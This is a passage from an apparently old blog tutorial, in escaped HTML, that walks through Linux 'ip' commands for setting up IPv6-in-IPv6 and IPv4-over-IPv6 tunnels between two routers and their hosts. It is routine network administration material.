router is a linux box with 2 interfaces)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    The configurations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;eth0 : ipv6: 3001:470:1f00:ffff::190&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;eth1 : ipv6: 2001:470:1f00:ffff::190&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;    mytun : ipv6 : 4001:470:1f00:ffff::190&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;      The router "Router A" must be having two physical interfaces with a ipv6 address each as shown above .&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface eth0 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 3001:470:1f00:ffff::190 dev eth0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;    Add the ip address to the interface eth1 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 2001:470:1f00:ffff::190 dev eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;     Add the route for each interface.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	-&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 route add 3001::/4 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;    #ip -6 route add 2001::/4 dev eth1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Now to setup the tunnel, we need to make sure we have the right module installed.&lt;br /&gt;&lt;br /&gt;A simple modprobe will get you going.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#modprobe ip6_tunnel&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown below.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_yWIW9H6R1sc/R7WMblS7gbI/AAAAAAAAAA8/CcHr1x5v5Xs/s1600-h/konsole.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_yWIW9H6R1sc/R7WMblS7gbI/AAAAAAAAAA8/CcHr1x5v5Xs/s400/konsole.png" alt="" id="BLOGGER_PHOTO_ID_5167190552973377970" border="0" /&gt;&lt;/a&gt;                                                                                                &lt;center&gt;Figure 2&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;    If you can see 'ip6tnl0' as one of the interfaces then you are good to go. Else you need to enable that module and compile the kernel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network A and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 tunnel add mytun mode ip6ip6 remote  2001:470:1f00:ffff::189 	local  2001:470:1f00:ffff::190 dev&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bring up the link of the interface&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;   &lt;span style="font-weight: bold;"&gt;#ip link set dev mytun up&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assign an address to our virtual tunnel device.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;     	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;  &lt;span style="font-weight: bold;"&gt;#ip -6 addr add  4001:470:1f00:ffff::190 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The most important step is to redirect all the traffic to our tunnel.&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;#ip -6 route add 5001::/4 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Since we are using a normal linux system as router we have to enable forwarding.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;       	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#echo “1” &gt; 	/proc/sys/net/ipv6/conf/all/forwarding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;4) &lt;span style="font-weight: bold;"&gt;Configure Router B :&lt;/span&gt; (I Assume that your router is a linux box with 2 interfaces)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    The configurations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;eth0 : ipv6: 5001:470:1f00:ffff::190&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;eth1 : ipv6: 2001:470:1f00:ffff::189&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;    mytun : ipv6 : 6001:470:1f00:ffff::190&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;      The router "Router B" must be having two physical interfaces with a ipv6 address each as&lt;br /&gt;&lt;br /&gt; shown above .&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface eth0 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 5001:470:1f00:ffff::190 dev eth0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;    Add the ip address to the interface eth1 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 2001:470:1f00:ffff::189 dev eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;     Add the route for each interface.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	-&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 route add 5001::/4 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;    #ip -6 route add 2001::/4 dev eth1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Now to setup the tunnel, we need to make sure we have the right module installed.&lt;br /&gt;&lt;br /&gt;A simple modprobe will get you going.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#modprobe ip6_tunnel&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown in&lt;br /&gt;&lt;br /&gt;figure 2.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 tunnel add mytun mode ip6ip6 remote  2001:470:1f00:ffff::190 	local  2001:470:1f00:ffff::189 dev&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bring up the link of the interface&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;   &lt;span style="font-weight: bold;"&gt;#ip link set dev mytun up&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assign an address to our virtual tunnel device.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;     	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;  &lt;span style="font-weight: bold;"&gt;#ip -6 addr add 6001:470:1f00:ffff::190 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The most important step is to redirect all the traffic to our tunnel.&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;    &lt;span style="font-weight: bold;"&gt;#ip -6 route add 3001::/4 dev mytun&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Since we are using a normal linux system as router we have to enable forwarding.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;       	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#echo “1” &gt; 	/proc/sys/net/ipv6/conf/all/forwarding&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5) Make sure the Firewalls are appropriately configured on the routers and hosts to allow tunneling. If you are in doubt, disable firewall and try.&lt;br /&gt;&lt;br /&gt;6)Now you can ping6 across Node A and Node B via the tunnel.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;         &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	-- &lt;/style&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-weight: bold;"&gt;-Steps to create a ipv4-ipv6 tunnel:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;These types of tunnels are typically used in scenarios where we have two private ipv4 network and we wish to access then as same LAN network over an ipv6 internet. Although ipv6 has not yet established its self as the preferred protocol for the internet, its only matter of time. As of now we can find use in offices that have a mixture of ipv6 and ipv4 networks. If two ipv4 networks needed to be combined via an ipv6 backbone we can use this type of tunneling.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1) &lt;span style="font-weight: bold;"&gt;Configure Host A of Private Network A :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    The configurations&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;eth0: ipv4 address : 172.16.15.2&lt;br /&gt;&lt;br /&gt;The node "Host A" must be having an ipv4 address.&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface if it is not configured already.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#ip addr add 172.16.15.2 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Add default route showing the gateway as "Router A".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#ip route add default via 172.16.15.1 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;2) &lt;span style="font-weight: bold;"&gt;Configure Host A of Private Network B :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    The configurations&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;eth0: ipv4 address : 192.168.1.2&lt;br /&gt;&lt;br /&gt;The node "Host B" must be having an ipv4 address.&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface if it is not configured already.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#ip addr add 192.168.1.2 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Add default route showing the gateway as "Router A".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#ip route add default via 192.168.1.1 dev eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;3) &lt;span style="font-weight: bold;"&gt;Configure Router A&lt;/span&gt; : (I Assume that your router is a linux box with 2 interfaces)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The configurations:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;eth0 : ipv4:172.16.15.1&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;eth1 : ipv6: 2001:470:1f00:ffff::189&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;    mytun : ipv6 : 4001:470:1f00:ffff::189&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;      The router "Router A" must be having two physical interfaces with a ipv6 address and a ipv4 as shown above .&lt;br /&gt;&lt;br /&gt;Add the ip address to the interface eth0 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip addr add 172.16.15.1 dev eth0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;    Add the ip address to the interface eth1 if it is not configured already.&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;#ip -6 addr add 2001:470:1f00:ffff::189 dev eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;     Add the route for interface eth1.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;   	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	-&lt;/style&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 route add 2001::/4 dev eth1&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Now to setup the tunnel, we need to make sure we have the right module installed.&lt;br /&gt;&lt;br /&gt;A simple modprobe will get you going.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;#modprobe ip6_tunnel&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Incase the above command results in error then check if it is statically compiled. If it is, then&lt;br /&gt;&lt;br /&gt;your output for "ifconfig -a" must be as shown in figure 2.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;   	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&lt;/style&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;#ip -6 tunnel add mytun mode ipip6 remote  2001:470:1f00:ffff::190 	local  2001:470:1f00:ffff::189 dev&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;eth1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bring up the link of the interface&lt;br /&gt;&lt;br /&gt;	&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt; 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;   &lt;span style="font-weight: bold;"&gt;#ip link set dev mytun up&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Assign an address to our virtual tunnel device.&lt;br /&gt;&lt;br /&gt;&lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;&lt;title&gt;&lt;/title&gt;&lt;meta name="GENERATOR" content="OpenOffice.org 2.0  (Linux)"&gt;&lt;meta name="CREATED" content="20070814;11023900"&gt;&lt;meta name="CHANGED" content="20070906;16150100"&gt;     	 	 	 	 	 	&lt;style type="text/css"&gt; 	&lt;!-- 		@page { size: 8.5in 11in; margin: 0.79in } 		P { margin-bottom: 0.08in } 	--&gt;&lt;/style&gt;&lt;span style="font-size:100%;"&gt;  &lt;span style="font-weight: bold;"&gt;#ip -6 addr add 